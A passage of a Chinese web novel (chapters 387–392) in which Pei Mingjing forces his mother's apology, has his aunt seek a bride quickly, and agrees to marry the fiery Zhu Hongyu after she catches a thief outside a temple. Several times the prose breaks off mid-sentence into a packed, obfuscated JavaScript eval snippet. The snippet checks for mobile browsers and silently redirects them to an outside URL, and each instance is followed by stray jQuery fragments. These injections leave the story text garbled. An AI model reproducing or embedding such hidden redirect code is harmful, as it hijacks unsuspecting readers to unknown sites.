“今日带母亲过来,是为昨日如意糕一事,给二位一个交代。”
他目光转向窦淑容,不带丝毫感情:“母亲,您自己说。”
窦淑容身体不自觉地抖了一下。
她缓慢地抬起头,目光扫过裴二夫人担忧的脸和裴芜害怕的眼神,心底涌出一片**。
她张了张嘴,说不出一句话来。
她在卫国公府里向来说一不二,如今让她给弟妹道歉,她实在是难以说出口。
但裴明镜一个眼神扫了过来,她便知道今日这个道歉是逃不掉了。
她闭上了眼,艰难地开口:“弟妹、阿芜,昨日那糕如意糕,是、是我,我鬼迷心窍,让人动了手脚……对不住……”
说完这句话,她便死死闭上了嘴,仿佛再多说一个字都会要了她的命。
堂内一片寂静。
裴二夫人倒吸一口凉气,虽然早有猜测,但亲耳听到承认,还是让她心头发寒。
她下意识地将女儿搂得更紧。
裴明镜接话道:“母亲一时糊涂,做下错事,险些酿成大祸。”
“为表歉意,我已决定朱雀大街的酒楼过到阿芜名下,另从我的私账拨白银五千两,给阿芜压惊,以及日后添妆所用。阿芜,二婶,你们意下如何?”
裴二夫人愣住了。
朱雀大街那个酒楼乃是国公府极好的一处产业,价值不菲,每年进账纯利润上千两。
而五千两白银更是一笔巨款。
到时候添到压箱银里,给阿芜,也是她的底气。
裴二夫人对这份补偿是满意的。
裴芜不知道该说什么,下意识地抬头看向了母亲。
裴二夫人看向面色冰冷的裴明镜,又看看形如槁木的窦淑容,叹了口气,点点头:“既然大嫂已知错,也没酿成不可挽回的后果,便依你所言,此事就此了结吧。”
裴芜便也跟着点了点头。
窦淑容听到这话,猛地吸了一口气,直勾勾地看向裴明镜,劈头盖脸骂道:“现在可以了吧?我已经按你说的做了!”
她甚至试图挺直背脊,找回一点往日当家主母的气势。
“你的婚事,总该由我这个当母亲的来操持了吧?你要娶哪家的姑娘?聘礼单子……”
“不必了。”裴明镜三个字冰冷地打断她,没有丝毫犹豫。
“我的婚事,已劳烦二婶代为操持。母亲您身体不适,仍需在佛堂静养,不宜操劳。”
一旁的裴二夫人:“???”
婚事,什么婚事要她操持?
她怎么不知道。
裴芜也很惊讶,大堂兄怎么忽然就要成婚了,娶的哪家姑娘?
但她们都默契地没有马上询问出声。
“什么?”窦淑容失声尖叫,猛地站起来,手指颤抖地指着裴二夫人。
“她来操持你的婚事?”
随后她又指着自己的脸:“裴明镜!我才是你亲生母亲!你竟让一个隔房的婶婶来操办你的婚事,你让我脸往哪儿搁?”
她越说越激动,狠狠地扇了自己一巴掌,怒吼道:“这天底下哪有母亲健在,就让旁人操持孩儿婚事的道理。这不合规矩!”
裴二夫人和裴芜都被她这举动吓了一跳。
大嫂/大伯母不会受了刺激真疯了吧,不然好端端的怎么还自己打自己了呢?
裴明镜看着状若疯癫的母亲,语气依旧平静:“规矩是死的,人是活的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232904|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二婶性情温婉,处事周全,由她操持,我很放心。”
他斩钉截铁道:“母亲,您还是安心养病吧。”
“你、你……”窦淑容被他气得胸口剧烈起伏,一口气没上来,身子直挺挺地向后倒去。
“夫人!”
丫鬟婆子惊叫着扑上去搀扶。
“大嫂!”
“大伯母!”
裴二夫人和裴芜也吓了一跳,赶忙上前查看。
裴明镜站在原地,看着眼前的一片混乱,最终只是吩咐了一句:“请大夫来,好好照看大夫人。”
混乱平息后,他看向了裴二夫人。
“二婶,我的婚事,就真的托付给您了。”
裴二夫人傻眼了。
她张了张嘴,好半晌才找回自己的声音,结结巴巴道:“不、不是……明镜,你、你总要告诉我,你中意的是哪家的姑娘?我才好请媒人上门提亲啊!”
裴明镜的神色却没有任何变化,他平静地开口:“没有中意哪家。二婶只需按我的要求,代为相看寻觅即可。”
“啊?”裴二夫人更懵了。
“这婚姻大事,岂能儿戏?你自己没有心仪之人,这让二婶如何着手?”
“并非儿戏。正因是大事,才需尽快落定。我的要求很简单:家世不必顶尖,但务必清白,门风端正。”他顿了顿,强调道。
“姑娘本人的性子不能太懦弱畏缩,需有主见,能持家,将来要撑得起卫国公府的门楣,应付得了京城里的人情往来。”
他抬起眼,看向裴二夫人,说出了一条让她瞠目结舌的要求。
“最重要的是,对方需愿意尽快完婚。最好能在一月之内。”
裴二夫人听得目瞪口呆,几乎怀疑自己耳朵出了问题。
“一个月之内?!”她失声惊呼。
“这怎么可能。纳采、问名、纳吉、纳征、请期、亲迎……这六礼走下来,哪是仓促之间能办成的?”
就算是寻常人家结亲,也没这么快的道理。
更何况是国公府这样的人家。
她看着裴明镜,苦口婆心地劝解:“明镜,你是不是因为刚才和你母亲置气,才故意这么说?终身大事,万万冲动不得啊!”
第388章 成婚的理由
裴明镜却摇了摇头,眼神坚定,没有丝毫玩笑或赌气的成分。
“二婶,我并非冲动。我有必须尽快成婚的理由。”
“规矩是死的,人是活的。六礼可以加紧操办,只要双方意愿一致,一切从简从快亦可。”
“聘礼方面,我会备足诚意,绝不会委屈了对方。劳烦二婶多费心,尽快寻访合适的人家。若对方也有意,我可亲自去见,当面言明情况。”
裴二夫人知道,这个侄子从小就有主意,他做出了决定,那是九头牛都拉不回来。
她最终长长叹了口气,为难地答应了下来:“这……这真是,唉,罢了罢了,你既然心意已决,二婶就尽力替你寻访看看吧。”
她摇了摇头,觉得希望实在是渺茫。
“一切就有劳二婶了。”裴明镜郑重地对她行了一礼。
*
没过两日。
裴二夫人就找到了裴明镜。
“明镜,你的婚事,有着落了。”裴二夫人脸上洋溢着喜气。
她没想到,竟然还真有这么合适的人选。
“二婶,是哪家的姑娘?”裴明镜疑惑。
说到这个,裴二夫人脸上的喜气里掺进了一丝明显的尴尬,她搓了搓手帕,吞吞吐吐道:“是五军营佐击将军祝祷祝大人家的千金,祝红玉姑娘。”
“这祝大人官阶虽是从四品,比不得国公府,但家风清正,并未纳妾,只有一子一女。”
裴明镜神色未变,只微微颔首,示意她继续说下去。
他对此人有些模糊印象,似乎听说过一些传闻。
裴二夫人见状,只好硬着头皮,将祝红玉那“光辉事迹”尽量委婉地道来。
“祝姑娘今年二十有三了。之前定过一门亲事,是和永昌伯家的次子。后来那小子不懂事,跑去喝花酒,被祝姑娘撞了个正着。”
她顿了顿,声音更低了几分:“那混账东西不仅不认错,还嘴硬说什么男人风流是常事。”
“结果祝姑娘气性大了点,当场就把人给揍了一顿,听说伤得还不轻。这亲事,自然就黄了。”
说完,她赶紧找补:“这姑娘性子是烈了点,但她能文能武,持家定然是一把好手。就是这名声在外,所以才耽搁到了现在。”
“另外我也差人探过祝夫人口风了,他们一切都准备好了,只要男方合适,一个月内成婚绝无问题。”
她小心翼翼地观察着裴明镜的反应,试探道:“明镜啊,你若觉得不妥,二婶再帮你多看看,多寻摸寻摸。”
“不必再看了。”裴明镜打断了她,眼中非但没有嫌弃,反而掠过一丝极淡的满意。
当街暴揍不检点的未婚夫?
这性子,够刚烈,也够明白。
正好,他这国公府后宅,最需要的就是一个心思清明的女主人。
他果断道:“劳烦二婶安排一下,我想见见这位祝姑娘。”
裴二夫人简直不敢相信自己的耳朵,愣了好一会儿才反应过来:“你、你真愿意见?不再考虑考虑别的……”
“就她吧。”裴明镜语气斩钉截铁。
“时间紧迫,祝姑娘的情况正合适。若她本人也无异议,便可尽快安排后续事宜。”
裴二夫人张大了嘴,看着侄儿那张波澜不惊的脸,心里只有一个念头:娶这么一位主母进来,大嫂若留下来,那往后国公府的日子,可真是要热闹了。
*
祝夫人接到裴二夫人约着上香的帖子,一时间愣住了。
她翻来覆去看了好几遍,眉头拧成了一个结。
她实在想不明白,裴二夫人好端端的,为啥请她一起去上香。
话里话外,还让她把女儿给带上。
这分明是京城贵胄约定俗成相看的做派。
据她所知,裴二夫人只有一子一女,女儿裴芜十六,倒是相看的年纪。
可她的儿子青锋才十岁,两人差得也忒远了些。
裴二夫人的儿子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232905|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裴光岳,也才十二岁,和她的红玉差得就更远了。
这裴二夫人,究竟是什么意思?
她想不明白,干脆去书房找到正在擦拭佩刀的夫君祝祷。
“夫君,你看。”她把帖子递过去,语气里满是难以置信的疑惑。
“卫国公府二房的裴二夫人,下帖子邀我明日去玄空寺上香。这太阳是打西边出来了?”
祝祷放下手中的软布,接过帖子粗粗扫了一眼。
他虽是个武人,但京城里这些高门府邸间的弯弯绕绕也并非全然不懂。
卫国公府的门第,可比他们这从四品武官之家高出不止一截。
平日里两家并无甚来往,这突然邀约上香,还让带上女儿,这可就不得不让他多想一些了。
女儿红玉的婚事一直是他们夫妻俩的心病。
女儿性子是烈了些,可人品样貌哪样差了?
就因揍了个不干不净的纨绔子,便被耽误至今,受尽闲言碎语,他心里早就憋着一股火。
“你说究竟是个什么缘由,非得约着我一块去上香?”祝夫人百思不得其解,将自己的猜测说了出来。
“听说卫国公夫人身子不好,一直在静养,如今卫国公府是这位裴二夫人在当家。你说她会不会是在替裴世子相看?”
“但她一个隔房的婶婶,能做得了世子的主么?”
祝夫人越说越犹豫,总觉得会不会有什么陷阱。
祝祷摸了摸下巴上的胡茬,毫不犹豫道:“管他是什么缘由!去看看不就知道了。”
“他裴家门槛高,咱们祝家也不是那攀龙附凤的性子。若真是有意,也得看看他们诚心不诚心,配不配得上我女儿。”
他看向夫人,当下拍板决定:“你去回话,就说我们准时赴约。记着,不卑不亢,咱们祝家的姑娘,宁缺毋滥。”
“好咧。”祝夫人答应了下来,当即回帖。
双方便约定好了明日在玄空寺大殿门口见。
第389章 把相看搞砸
天刚蒙蒙亮,祝红玉就被母亲从被窝里扯了出来,按在梳妆台前。
看着母亲兴致勃勃地指挥丫鬟给她梳头、上妆、挑选衣裳,祝红玉心里其实没什么波澜。
相看了这么多次,每次都是希望而去,失望而归。
她都快麻木了。
每次不是对方嫌弃她年纪大、名声凶,就是她瞧不上对方畏畏缩缩的样。
但看着母亲眼底那掩不住的期盼和小心翼翼,她到底没忍心扫兴,乖乖配合着,任由她们摆布。
妆成之后,祝夫人拉着女儿的手,上下打量,眼里满是骄傲和满意。
“好!真好!”祝夫人连连点头,忍不住又念叨起来,“我的乖女儿这般品貌,今日定然能成。”
“呵呵。”祝红玉干笑两声,打断了母亲的美好幻想。
“母亲,您每回都这么说。”
结果呢?
还不是每一回都失败了。
她在心里补了这句话,没敢说出口。
祝夫人被噎了一下,没好气地瞪她一眼,随即又紧张起来,拉着她千叮万嘱。
“红玉,今日不同往日,那可是卫国公府。门第高着呢!你千万收着点性子,无论看到什么、听到什么,都不可再冲动行事。记住了吗?”
祝红玉对上母亲严肃的表情,只得无奈地举起三根手指。
“母亲放心,我发誓,今日一定眼观鼻鼻观心,端庄贤淑,绝不惹事。就算那世子当面骂我是个嫁不出去的老姑娘,我也保证对他笑脸相迎,行了吧?”
祝夫人这才稍稍安心,嗔怪地看了她一眼:“净胡说,人家裴世子才不是这样没风度的人。”
随后替她理了理衣裳,母女二人这才一同出门,乘马车往玄空寺去。
马车行至离玄空寺山脚,速度慢了下来,前边似乎有些拥堵。
祝红玉百无聊赖地掀开车帘一角往外看。
只见一个穿着粗布衣裳的妇人正抱着个孩子满脸焦急,一群人围着她,不知道说些什么。
那妇人抱着孩子嚎啕大哭:“我的钱,呜呜呜,那可是我当家的救命钱啊!”
祝红玉顿时反应了过来,有小偷!
她扫了在场的人一眼,目光落在了一个獐头鼠目的男人身上。
他正从人缝里钻出来,手里攥着一个灰扑扑的钱袋,脚步匆匆就要溜走。
祝红玉猛地一把推开车门,跳下马车,追了上去。
“红玉!”马车里的祝夫人惊得变了脸色,着急地想要叫住女儿。
但祝红玉早已跑远了。
她一把揪住那正要逃窜的贼人手腕,厉声道:“光天化日,偷人救命钱!拿出来!”
那贼人吃痛,又惊又怒,反手想挣脱,结果发现竟然无法甩开祝红玉。
他顿时恼羞成怒,另一只手竟摸向腰间掏出了一把**。
“天啊,有刀!”
“姑娘小心。”
周围人群发出一阵惊呼,纷纷后退。
“放了我,不然要你小命。”偷钱的男人举着**威胁。
祝红玉却丝毫不惧,冷哼一声,擒住他手腕的手猛地一扭一卸,那贼人惨叫一声,**哐当落地。
紧接着她一个利落的扫堂腿,直接将人撂倒在地,膝盖重重顶在他后心,将其死死制住,顺手将那钱袋夺了回来。
整套动作干净利落,直接让周围的人都看傻了眼。
她站起身,看向附近一个健硕的男人。
“这位大哥,我还有事,能否劳烦您将此人送去官府。”
“没问题!包在我身上!”那男人赶忙过来接手,将小偷拖走了。
祝红玉拍了拍裙子的灰尘,走到那惊魂未定的妇人面前,将钱袋递还给她:“大嫂,可得把钱收好了。”
那妇人抱着孩子,扑通一声就跪下了,泪流满面:“谢谢女菩萨!谢谢女菩萨!这是给孩子他爹抓药救命的钱啊。这要是没了,我们一家可就活不成了……”
祝红玉赶紧将她扶起来:“快起来,以后小心些。”
她看着那对母子千恩万谢地离去,心里舒坦了些,刚松了口气。
一抬头,却对上了一张铁青到极点的脸。
母亲不知何时也下了马车,正站在不远处,一手捂着心口,一手指着她身侧的方向,手指都在发抖。
细细一看,她眼神里全是绝望,脸上写满了“完了完了全完了”的崩溃。
祝红玉心里咯噔一下,扭头一看。
只见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232906|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不远处,不知何时停了一辆华贵的马车。
车边站着三个人,正静静地望着她这边。
一位是面带惊愕衣着不俗的夫人身边跟着一个十五六岁的少女。
二人身旁还站着一位身着墨色常服,身姿挺拔,面容俊美却冷峻异常的年轻男子。
他负手而立,目光沉静地落在她身上。
祝红玉没见过裴二夫人,但之前却是见过京兆尹的。
所以她一眼就认出了那个打量她的男人,正是她今日要相看的对象。
卫国公府世子,前任京兆尹,裴明镜。
祝红玉脑子里“嗡”的一声。
完了。
这下全完了。
她好像又把相看搞砸了。
但事已至此,祝红玉只得硬着头皮,在母亲**般的目光注视下,慢吞吞地挪了回去。
刚走近,胳膊就被母亲狠狠掐了一把。
祝夫人压低的声音,咬牙切齿道:“你个死丫头!我出门前怎么跟你说的。你的保证都喂了狗了?”
祝红玉疼得龇牙咧嘴,却不敢反驳,只能小声道:“娘,我错了。可那是救命的钱……”
祝夫人恨铁不成钢道:“那你让阿松他们去捉人不就行了,怎么就非得你亲自去呢。”
但现在说什么都晚了,她只能尽力挽救吧。
祝夫人深吸一口气,努力挤出一个得体的笑容,整理了一下衣襟,拉着女儿主动朝裴家三人走去。
“裴二夫人,真是巧啊。”她笑得有些勉强,但还是维持着礼数,“没想到竟在这儿遇上了。”
裴二夫人也从方才的震惊中回过神来,她毕竟是经过事的,很快调整好表情,笑着应道:“是啊祝夫人,真是巧。这位便是令千金吧?方才真是巾帼不让须眉,好身手啊。”
祝红玉听得头皮发麻,只能低着头,规规矩矩地行了个礼:“裴二夫人安好。”
祝夫人赶紧打圆场:“小孩子家不懂事,让夫人见笑了。”
她悄悄瞥向一旁始终沉默不语的裴明镜,先前的喜悦荡然无存。
好消息,相看的是裴世子,年龄容貌都般配。
坏消息,裴世子看到女儿当街暴揍男子。
此番相看,危矣。
第390章 我急需成婚
对上祝夫人的目光,裴明镜微微颔首,算是回礼。
“祝夫人,祝姑娘。”他目光在祝红玉身上停留了一瞬,快得让人抓不住。
“方才之事,姑娘身手利落,为民除害,不必挂怀。”
这话一出,不仅祝家母女愣住了,连裴二夫人和裴芜都有些意外。
祝红玉猛地抬起头,满脸震惊。
他居然没觉得她粗鲁凶悍?
祝夫人反应过来,连忙道:“世子过誉了,小女莽撞,当不得如此夸赞。”
裴明镜却不再继续这个话题,只道:“既然巧遇,不如一同进香吧。”
说是巧遇,但真实情况彼此心知肚明。
于是一行人各怀心思地进了大殿。
上香祈福时,祝红玉能感觉到身侧那道存在感极强的目光,让她握着香的手心都有些冒汗。
上香结束,裴二夫人正琢磨着该如何自然地让两个年轻人单独说说话,就听到裴明镜率先开口了。
他转向祝夫人,语气礼貌却不容拒绝:“祝夫人,关于五军营左哨军近日的操演阵型,晚辈有些问题想私下请教一下祝姑娘,不知可否行个方便?”
祝夫人和裴二夫人同时傻眼。
请教五军营左哨军近日的操演阵型???
这借口找得……
也太生硬了吧?!
哪家相看是这样单独谈话的?
可看着裴明镜那张一本正经、仿佛真是要讨论军国大事的冷峻脸庞,祝夫人拒绝的话怎么也说不出口。
她只能干巴巴地应道:“啊……自然,自然可以。红玉,你好生回世子的话。”
祝红玉也是一脸懵,完全搞不懂这位世子爷葫芦里卖的什么药。
她下意识地看向母亲,得到的是一个“好好谈,谈不妥别回家了”的眼神,只好硬着头皮应了声:“是。”
裴明镜对裴二夫人和祝夫人略一颔首,便转身朝寺庙后院人少僻静处走去。
祝红玉迟疑了一瞬,赶紧跟上了上去。
裴芜:“???”
母亲不是说让她来给大堂兄和祝姑娘牵线搭桥的么,怎么感觉她白来了。
一点用得上她的地方都没有。
裴明镜和祝红玉一前一后,沉默地走到一棵巨大的银杏树下,四周香客稀少,只有风吹过树叶的沙沙声。
裴明镜停下脚步,转过身,目光直直地看向祝红玉,没有任何寒暄和迂回,开门见山:
“祝姑娘,我急需成婚。”
祝红玉:“……”
她被这简单粗暴的开场白震住了。
原本打好的关于“五军营左哨军近日的操演阵型”的腹稿瞬间被清空了,她下意识地回了一句:“啊,好巧,我也是。”
话一出口,她就想咬掉自己的舌头。
这说的都是什么跟什么!
裴明镜并没觉得她的回答有什么不妥,随即继续开口,语速平稳:“嗯。我今年二十有二,无通房妾侍,日后亦无纳妾之打算。”
“我急需成婚的主要原因在于我的母亲。她性情有些苛刻,且近期做错了一件事,不宜再留在府中。我急需一位新的、名正言顺的卫国公夫人入主中馈,稳定府内外局面。”
有些苛刻?
分明是非常苛刻才对吧。
祝红玉在心中暗自腹诽。
听说那位卫国公夫人对儿媳妇极为挑剔,所以裴世子这般卓绝人物才会拖到如今都没有成婚。
裴明镜顿了顿,观察着祝红玉的反应,见她没有露出惊恐或者反对的神色,这才接着说下去。
“你若进门,便是卫国公府的主母,需要即刻执掌中馈,打理府内外事务。可能会很辛苦,也会面临一些非议和难题。不过会有二婶手把手教你。”
“这些,你能接受吗?”
祝红玉:“……”
这和她来之前预想的相看完全不一样!
没有试探,没有委婉,没有挑剔她的年纪和过往,而是直接把所有的利弊都摊开摆在了她的面前让她选择。
她深吸一口气,强迫自己冷静下来,快速消化着这些信息。
执掌中馈?
这些对她来说,压根就不算事。
她自小就帮着母亲操持家里的家务事,卫国公府,不就是大一点的祝家么。
能有多难。
至于非议?
她这些年经受的还少么。
她早就习惯了。
她迎上裴明镜的目光,点点头,声音清晰而稳定:“我能接受。”
“好。”裴明
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232907|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
镜点头,仿佛敲定了一桩买卖。
“既然如此,我会尽快安排媒人上门提亲。若一切顺利,下个月择吉日完婚。你可同意?”
下个月?!
祝红玉被这速度惊到了。
但想到父亲日渐增多的白发和那些背地里的嘲笑讥讽,她心一横,重重点头:“我同意。”
裴明镜得到肯定答复,微微颔首:“既如此,那便说定了。回去吧。”
他转身欲走。
“等等!”祝红玉却突然叫住了他。
裴明镜脚步一顿,回身看她,眼中带着一丝询问。
祝红玉有些纠结,但最终还是坦诚地问了出来:“你说成婚后会将你母亲送回原籍静养,这个成婚后,是指多长的时间?”
成婚后一个月,还是一年,还是五年或者十年。
那都是成婚后。
她必须得问清楚具体的时间才行。
省得到时候裴明镜说话不算话,不把他那个难搞的母亲送走。
虽说不送走她也能应付,但她还是不想把时间浪费在这些无聊的明争暗斗上。
裴明镜显然没料到她会问得如此具体,愣了一刹那。
他忽然意识到,这位祝姑娘并非只是被动接受他提出的所有条款,她也在评估,甚至在为她自己争取权益。
这感觉有点新奇。
他略微沉吟,给出了一个明确的答案:“一个月内。”
他顿了顿,补充了理由。
“新婚燕尔,母亲便病重需即刻离京静养。时日若太短,恐怕外界会有不利于你的流言,说你刑克尊亲。”
祝红玉没想到他竟然还考虑到了她的名声。
一个月。
比她预想中快得多。
她原本已做好了持久战的准备。
至于流言?
她祝红玉在京中“名声”还少吗?
就算多一个“克婆婆”的名头,对她来说不痛不痒。
反正她那时候都是卫国公夫人了,谁还敢说她小话。
于是她冲着裴明镜利落地点了点头:“好,听你的。”
“嗯。”裴明镜再次颔首,转身道,“走吧。”
祝红玉摸了摸鼻尖,又一次叫住了他。
“世子,等等,我还有一个问题。”
第391章 真实的看法
裴明镜又一次停下了脚步。
“祝姑娘请讲。”
“就是,额,那个,我之前被退过婚,你知道吧?”祝红玉还是把心底的问题问了出来。
裴明镜颔首,神色没有丝毫变化:“知道。”
“那你会不会……”祝红玉斟酌着词句,感觉舌尖都有些打结。
她真正想问的是,他会不会觉得她粗野蛮横,失了女子应有的温婉德性?会不会日后又因为这件事情嫌恶她?
但她没想好该怎么问。
没想到,裴明镜直接打断了她的踌躇:“不会。”
“是他品行有亏,背弃婚约在先,还当街口出狂言,辱及祝家门风。你出手教训,情理之中。”
“所以我方才说了,我日后绝不会纳妾。若真有那么一日,是我裴明镜背信弃义,违了今日之言……”
他迎着她惊讶的目光,说得极其认真,甚至带点理所当然。
“祝姑娘届时便是把我揍一顿,我也绝无半句怨言。”
祝红玉彻底愣在了原地,眼睛微微睁大。
她其实最开始想问的真的不是这个啊。
但心底某个角落,却因为他这番话悄然松动了一下,泛起一丝奇异的暖意和安心。
夫君主动承诺不纳妾,正合她意,她可从未想过要与人分享夫君。
她唇角不自觉地微微扬起,点了点头,算是接受了他这个听起来有点古怪却无比实在的保证。
但最初的疑问仍未完全消散。
她想了想,索性抛开那些弯弯绕绕,问得更直接了些,目光灼灼地看向他。
“那你对我先前当街**这事本身,究竟是怎么看的?”
她顿了顿,声音低了一些:“你是不是……只是因为急需一个人来成婚,所以对我做的那些事假装不介意,其实心底里,还是觉得那般行径很不妥当?”
她想知道,他真实的看法。
这对她来说很重要。
日光透过银杏叶的缝隙,在裴明镜冷峻的侧脸上投下斑驳的光影。
他沉默了片刻,就在祝红玉以为他不会回答时,他开口了。
“我觉得你很好啊。”
“你方才所为,于情于理,并无错处。”
“遇不平敢出手,有锋芒能自保,心思正派,行事果决。这正是我想要的未来的卫国公夫人。”
祝红玉只觉得心口被什么东西重重撞了一下,一股难以言喻的热流瞬间涌遍四肢百骸。
她猛地抬起头,眼睛亮得惊人,一眨不眨地看着裴明镜。
她听得出来,他并非敷衍,他是真的欣赏她这般性子!
一种近乎遇到知音的激动让她脸颊泛红,手指微微颤抖,几乎要脱口而出说些什么。
然而,裴明镜下一句话却让她冷静了下来。
“但是。”他话锋一转,语气依旧平稳。
“祝姑娘,若你成了卫国公夫人,便不宜再亲自与市井之徒搏斗。”
他看着她瞬间僵住的神色,继续道:
“并非拘束你的性子,而是身份所限,体统所在。”
“遇事,可令护卫仆从出手,可报官查办,可借势压人。你有无数种更得体、更有效的方式解决问题,而非亲自下场,与人扭打,徒惹非议,亦损自身威严。”
祝红玉满腔的激动和热血慢慢冷却下来,取而代之的是一种复杂的情绪。
有点失落,但更多的是一种被点醒的恍然和不得不承认的正确。
她之前只顾着快意恩仇,确实没想过这些。
如果她已经是国公夫人,刚才那般场面,她或许真的该换个方式处理。
她看着裴明镜那双冷静透彻的眼睛,里面没有嫌弃,只有一种就事论事的平静。
她深吸一口气,将那份躁动压回心底,郑重地点了点头:“世子所言极是。是我思虑不周,日后定会注意分寸。”
“你明白便好。”他微微颔首,“祝姑娘可还有别的问题要问?”
看着他一副知无不言言无不尽的模样,祝红玉一时间有些语塞。
“没了。”她摇了摇头。
听到这话,裴明镜冲她颔首:“那走吧。”
随后转身离去,步伐沉稳。
祝红玉看着他的背影,摸了摸自己依旧有些发烫的脸颊,心里五味杂陈,却莫名地安定了下来。
这个未来夫君,和她想的可真是不一样啊。
*
裴二夫人和祝夫人嘴上说着“今儿天气真不错”、“玄空寺里的香火果然旺盛”,眼神却不住地往那棵老银杏树下瞟,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240106|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心思早飞到了九霄云外。
只有裴芜脑袋一点一点地,靠在母亲身边眯起了眼睛。
她一大早被拉起来上香,实在是困得不行了。
就在两人心急如焚时,终于看到裴明镜的身影从不远处走来,依旧是那副冷峻模样,看不出丝毫端倪。
祝红玉跟在他身后几步远的地方,微微垂着头,也看不清表情。
两位夫人的心瞬间提到了嗓子眼。
这事,成了,还是没成啊?
裴明镜走近,先是对裴二夫人道:“二婶,事情已了,我们回去吧。”
然后又转向祝夫人,礼貌地颔首:“祝夫人,晚辈先行一步。”
祝夫人连忙回礼,眼睛却急切地看向女儿。
待裴家三人离开,祝夫人一把拉过女儿,走到僻静处,压低了声音急急问道:“怎么样?世子跟你说什么了?他到底什么意思啊?”
祝红玉看着母亲焦急的模样,脸上忍不住飞起两朵红云。
她深吸一口气,将裴明镜那番直白得吓人却又莫名让她安心的话,原原本本复述了一遍。
祝夫人听得眼睛越瞪越大,嘴巴也无意识地张开了。
送婆婆回老家?立刻执掌中馈?下个月就完婚?
这信息量太大,她一时有些消化不了。
但最后,所有的震惊都化为了狂喜。
“成了!真的成了!哎哟我的老天爷!”祝夫人激动地一把抱住女儿,眼泪都快出来了。
她被人骂了好多年老姑娘的女儿终于要嫁出去了。
还是未来的国公夫人!
她激动得有些手足无措,猛地想起什么,从袖袋里掏出银票就往功德箱的方向走。
“快!快!添香油钱!必须添!添一百两!这玄空寺太灵验了!”
走了两步,她忽然又顿住,看着手里的银票,脸上露出一丝肉痛和纠结。
既然是高嫁,那这嫁妆可不能寒酸了。
绝对不能让女儿将来在婆家被人看轻!
她犹豫再三,最终还是咬咬牙,小心翼翼地抽回了四十两银票,只把剩下的六十两塞进了功德箱,双手合十不住念叨。
“菩萨莫怪莫怪,信女回头一定多多补上。眼下还得先紧着给女儿置办体面嫁妆……”
第392章 这一次慌了
另一边,马车上。
裴二夫人也是满心疑惑,看着对面闭目养神的侄子,终于忍不住开口:“明镜,你和祝姑娘谈得如何?”
裴明镜睁开眼,语气平淡无波:“谈妥了。劳烦二婶尽快择选吉日,安排媒人上门提亲纳采,所有流程加紧办理,务必在下月内,迎娶祝姑娘过门。”
裴二夫人惊得差点咬到舌头:“这么快?你真的决定了?那祝姑娘她……”
“她已同意。”裴明镜打断她,语气不容置疑。
“二婶只需尽快操办即可,一切从简,但该有的礼数不能缺,聘礼按最高规格准备。”
裴二夫人看着侄子斩钉截铁的模样,知道此事已定。
她压下心头的惊涛骇浪,长长舒了一口气,脸上终于露出真切的笑容:“好,二婶知道了。你放心,这事包在二婶身上,定给你办得风风光光,体体面面。”
裴明镜并没有让人瞒着母亲他要成婚的事情。
所以窦淑容很快就知道了这消息。
“他要娶谁?”窦淑容整张脸因为震惊和愤怒变得有些扭曲。
“祝红玉?!那个二十好几还没嫁出去,当街打男人被退亲的泼妇?!”
她气得浑身发抖。
区区一个从四品武夫的女儿,怎么配得上她的儿子?
